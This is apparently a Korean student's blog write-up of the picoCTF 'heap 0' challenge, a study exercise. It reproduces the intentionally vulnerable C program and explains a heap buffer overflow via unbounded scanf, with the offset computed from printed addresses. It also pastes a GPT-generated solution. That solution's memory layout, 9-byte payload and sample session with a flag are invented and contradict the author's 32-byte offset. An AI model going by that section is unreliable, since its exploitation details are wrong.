picoctf - heap 0 문제 풀이

Yoo_j·2025년 3월 2일

heap 0 제목에서 느껴지는..

힙 오버플로우 관련 문제,, 이긴 한데 역시 아직 이런 데이터 영역 관련해서 지식이 부족해서 인가 어렵게만 느껴진다.

아래 라이트업에 좀 개념이 잘 정리된것 같아서 참고했다.

이런 스택, 힙 관련 문제들에 대해서는 아직 지식이 부족한 것 같다는 생각이 들어서 외부자료를 참고하는 편이다.

아래 사이트 참고 하여 문제를 풀어 보았다.

https://blog.stackademic.com/heap-exploitation-picoctf-heap0-challenge-f6a8d14f7b80

: 힙은 컴파일 시 크기가 알려지지 않은 데이터에 사용 >> 동적으로 메모리 할당하는 프로그램에 사용됨 대표적으로 malloc 함수가 있음.

https://medium.com/@erichdryn/heap-0-picoctf-writeup-a1a20406608b

문제 스크린샷은 위와 같음.

인스턴스를 실행시키면 다음과 같은 프로그램이 실행되는데,,

프로그램 자체만 보면 다음과 같이 번호를 선택하면 선택값에 맞는 값을 출력해주는 형식 4번을 골랐더니 looks like everything is still secure! 이라면서 .. 플래그값을 주지는 않는다.

출력값에서 주는 메세지만 보았을때는 안전하지 않게 만들어서 플래그값을 얻으라는 것..

아직 내 레벨에서 이런 문제는 소스코드를 살펴보아야만 풀 수 있다.

일단 주어진 소스코드를 살펴보면,아래와 같이 c언어로 작성되어 있는 소스코드임을 알 수 있다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	int rval = scanf("%d", &choice);
	if (rval == EOF){
	    exit(0);
	}
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
	    exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}
코드를 입력하세요

플래그 값을 출력하는 조건에 대한 부분은 아래와 같다.

safe_var에 저장되어 있는 값이 bico 값이 아니게 만들어야만 플래그 값을 얻을 수 있는 구조..

이제 이 코드에서 취약한 부분을 살펴보면 일단, scanf 라는 취약한 함수를 사용하는 것을 알 수 있다.


scanf 는 공백 문자가 발견될 때까지 키보드에서 모든 입력 데이터를 받기 때문에 취약한 함수라고 여겨진다. (입력데이터에 대한 검증 필요)


그리고 프로그램 자체에서 1을 입력하면, 변수의 위치를 출력해주기도 하는데 이를 이용해서
pico 변수가 0x6131c1b722b0 위치에 있고,
손상시킬 bico 변수의 위치는 0x6131c1b722d0에 있다는 것을 알 수 있음
이 두 위치를 빼면 0x20, 즉 10진수로 32가 됨.

최소 33바이트의 문자열을 입력하여 오버플로우를 발생시켜야함..

C에서 문자 하나(char)1바이트(8비트)임.

참고 사항 문자열은 항상 \0(널 문자, NULL terminator)이 포함

즉, "pico"는 5바이트('p' 'i' 'c' 'o' '\0'), "bico"도 5바이트('b' 'i' 'c' 'o' '\0') 차지

아래와 같이 2번 선택 후 오버플로우 발생시킨뒤 다시 4를 입력하면 플래그 값을 획득할 수 있음

그리고 아래는 gpt 가 도와준 풀이


이 코드의 핵심 취약점은 Heap-based Buffer Overflow입니다.

scanf("%s", input_data);를 사용하여 입력을 받을 때, input_data의 크기(INPUT_DATA_SIZE = 5)를 초과하는 데이터를 입력하면 safe_var의 값이 덮어써집니다.

  1. Heap 구조 분석
    이 프로그램에서 동적 메모리 할당(malloc)을 통해 input_data와 safe_var를 저장하는 과정은 다음과 같습니다.

input_data = malloc(INPUT_DATA_SIZE); // 5바이트 크기 메모리 할당
strncpy(input_data, "pico", INPUT_DATA_SIZE); // "pico" 저장

safe_var = malloc(SAFE_VAR_SIZE); // 5바이트 크기 메모리 할당
strncpy(safe_var, "bico", SAFE_VAR_SIZE); // "bico" 저장
이제 Heap의 구조를 그림으로 표현하면 다음과 같습니다.

주소 데이터


0x1234 | 'p' 'i' 'c' 'o' '\0' | <- input_data (5바이트)
0x1239 | 'b' 'i' 'c' 'o' '\0' | <- safe_var (5바이트)
즉, input_data의 5바이트 메모리 바로 뒤에 safe_var가 존재합니다.

  1. 취약점 분석: scanf()를 이용한 Heap Overflow
    write_buffer() 함수에서 scanf("%s", input_data);를 통해 길이 제한 없이 문자열을 입력받기 때문에, input_data를 초과하는 길이의 입력을 넣으면 safe_var의 값이 덮어쓰이게 됩니다.

void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data); // 취약점: 길이 제한 없음
}
3. Exploit 과정
만약 우리가 write_buffer()에서 6글자 이상의 문자열을 입력하면 어떻게 될까요?

예제 입력: AAAAAbico
입력된 데이터가 Heap에 저장되는 방식:

주소 데이터

0x1234 | 'A' 'A' 'A' 'A' 'A' | <- input_data (5바이트)
0x1239 | 'b' 'i' 'c' 'o' '\0' | <- safe_var (5바이트)
이제 6바이트 이상의 문자열을 넣어 보겠습니다.

입력:

AAAAAxxxx
Heap 메모리:

주소 데이터

0x1234 | 'A' 'A' 'A' 'A' 'A' | <- input_data (5바이트)
0x1239 | 'x' 'x' 'x' 'x' '\0' | <- safe_var가 덮어씌워짐!
이제 safe_var의 값이 "xxxx"로 변하면서, "bico"가 더 이상 유지되지 않게 됩니다.

  1. FLAG 획득 과정
    check_win() 함수에서는 다음과 같은 조건이 있습니다.

void check_win() {
if (strcmp(safe_var, "bico") != 0) { // safe_var 값이 "bico"가 아니면
printf("\nYOU WIN\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
} else {
    printf("Looks like everything is still secure!\n");
    printf("\nNo flage for you :(\n");
    fflush(stdout);
}

}
즉, safe_var 값이 "bico"가 아니게 만들면 YOU WIN 메시지와 함께 flag.txt 파일의 내용이 출력됩니다.

이를 위해 다음 입력을 주면 됩니다.

AAAAAxxxx
이렇게 하면 safe_var가 "xxxx"로 변경되고, check_win()이 strcmp(safe_var, "bico") != 0 조건을 만족하게 되어 FLAG가 출력됩니다.

  1. Exploit 정리

공격 방법
프로그램을 실행하고 2번 (Write to buffer) 옵션을 선택
write_buffer()에서 bico를 덮어쓰도록 6글자 이상의 데이터를 입력

AAAAAxxxx
4번 (Print Flag) 옵션을 선택하여 check_win() 실행
FLAG 출력 성공!
Exploit 예시

$ ./heap0
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.

Heap State:
[*] Address -> Heap Data
[*] 0x55555575c260 -> pico
[*] 0x55555575c270 -> bico

Enter your choice: 2
Data for buffer: AAAAAxxxx

Enter your choice: 4
YOU WIN
flag{heap_overflow_success}
6. 해결 방법 (취약점 방어)
이러한 Heap Overflow를 방지하려면 다음과 같은 보안 조치를 취할 수 있습니다.

입력 길이 제한

scanf("%4s", input_data); // 최대 4글자까지만 입력받도록 제한
또는,

fgets(input_data, INPUT_DATA_SIZE, stdin);
Canary 값 추가

safe_var 앞에 Canary 값을 추가하고, 값이 변경되었는지 확인하면 메모리 오버플로우 탐지가 가능함.

Heap Allocation 순서 변경

safe_var를 먼저 malloc()한 후, input_data를 malloc()하면 Heap Overflow를 방지할 수 있음.
Fortify Source 활성화

gcc 컴파일 시 -D_FORTIFY_SOURCE=2 플래그를 사용하여 scanf 등의 입력 길이를 자동으로 검사하도록 설정.

  1. 결론
    이 코드에서 scanf("%s", input_data);를 통해 input_data의 크기(5바이트)를 초과하는 입력을 받으면 safe_var 값이 덮어쓰여 bico가 변경됨.
    safe_var 값이 bico가 아니게 되면 check_win()에서 FLAG가 출력됨.
    따라서, write_buffer()에서 적절한 길이 제한을 두지 않으면 Heap-based Buffer Overflow 취약점이 발생하여 공격자가 FLAG를 획득할 수 있음.

gpt 풀이에서는 bico 값의 위치에 대한 계산부분이 없음. (이 부분을 추가 고려해서 풀어야함.)

profile
클라우드 연구하고 통신사 취업을 목표로 하고 있는 돌선생..

0개의 댓글